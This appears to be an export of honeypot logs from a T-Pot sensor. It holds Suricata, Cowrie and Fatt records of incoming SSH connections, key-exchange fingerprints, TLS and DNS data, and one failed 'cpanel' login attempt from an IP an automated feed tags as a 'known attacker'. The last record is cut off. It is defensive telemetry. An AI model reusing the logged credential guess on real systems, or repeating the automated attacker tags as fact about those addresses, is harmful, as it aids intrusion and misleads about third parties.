22589	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:09.42561+03	2021-09-20 14:15:06.406497+03	{"_id": "kQbjAnwBvYTbRNuEZwdQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1424741237586379, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34326, "dest_port": 22, "timestamp": "2021-09-20T11:07:09.425610Z", "@timestamp": "2021-09-20T11:07:09.425Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22590	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:09.157291+03	2021-09-20 14:15:06.407501+03	{"_id": "jgbjAnwBvYTbRNuEZwdQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2040588008161550, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51458, "dest_port": 22, "timestamp": "2021-09-20T11:07:09.157291Z", "@timestamp": "2021-09-20T11:07:09.157Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22591	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:07:09.327272+03	2021-09-20 14:15:06.409494+03	{"_id": "jwbjAnwBvYTbRNuEZwdQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4389, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2217, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1014037137455531, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 38697, "timestamp": "2021-09-20T11:07:09.327272Z", "@timestamp": "2021-09-20T11:07:09.327Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22592	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:09.849862+03	2021-09-20 14:15:06.4105+03	{"_id": "qwbjAnwBvYTbRNuEaAe6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [cpanel/72b1bd75ac87852a] failed", "session": "6cf2d482c0d0", "@version": "1", "password": "72b1bd75ac87852a", "username": "cpanel", "timestamp": "2021-09-20T11:07:09.849862Z", "@timestamp": "2021-09-20T11:07:09.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22593	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:09.146191+03	2021-09-20 14:15:06.411471+03	{"_id": "sAbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34326, "timestamp": "2021-09-20T11:07:09.146191", "@timestamp": "2021-09-20T11:07:09.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22594	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:09.42717+03	2021-09-20 14:15:06.4125+03	{"_id": "nwbjAnwBvYTbRNuEaAe6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a5e2e8aff59e", "@version": "1", "timestamp": "2021-09-20T11:07:09.427170Z", "@timestamp": "2021-09-20T11:07:09.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22595	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:09.38+03	2021-09-20 14:15:06.414499+03	{"_id": "sgbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34786, "dest_port": 443, "timestamp": "2021-09-20T11:07:09.380000", "@timestamp": "2021-09-20T11:07:09.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
22596	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:07:09.422336+03	2021-09-20 14:15:06.415502+03	{"_id": "swbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34786, "timestamp": "2021-09-20T11:07:09.422336", "@timestamp": "2021-09-20T11:07:09.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
22597	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:07:09.42609+03	2021-09-20 14:15:06.416499+03	{"_id": "tAbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34326, "dest_port": 22, "timestamp": "2021-09-20T11:07:09.426090", "@timestamp": "2021-09-20T11:07:09.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22598	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:09.852531+03	2021-09-20 14:15:06.418499+03	{"_id": "tQbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34334, "timestamp": "2021-09-20T11:07:09.852531", "@timestamp": "2021-09-20T11:07:09.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22599	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:09.228423+03	2021-09-20 14:15:06.4195+03	{"_id": "tgbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "83ebf6194d97", "@version": "1", "duration": 2.9979727268218994, "timestamp": "2021-09-20T11:07:09.228423Z", "@timestamp": "2021-09-20T11:07:09.228Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22600	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:09.366935+03	2021-09-20 14:15:06.420502+03	{"_id": "twbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "7596d01ecf51", "@version": "1", "duration": 3.723249673843384, "timestamp": "2021-09-20T11:07:09.366935Z", "@timestamp": "2021-09-20T11:07:09.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22601	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:10.145119+03	2021-09-20 14:15:06.422497+03	{"_id": "uAbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "edf7e33fbfde", "@version": "1", "timestamp": "2021-09-20T11:07:10.145119Z", "@timestamp": "2021-09-20T11:07:10.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 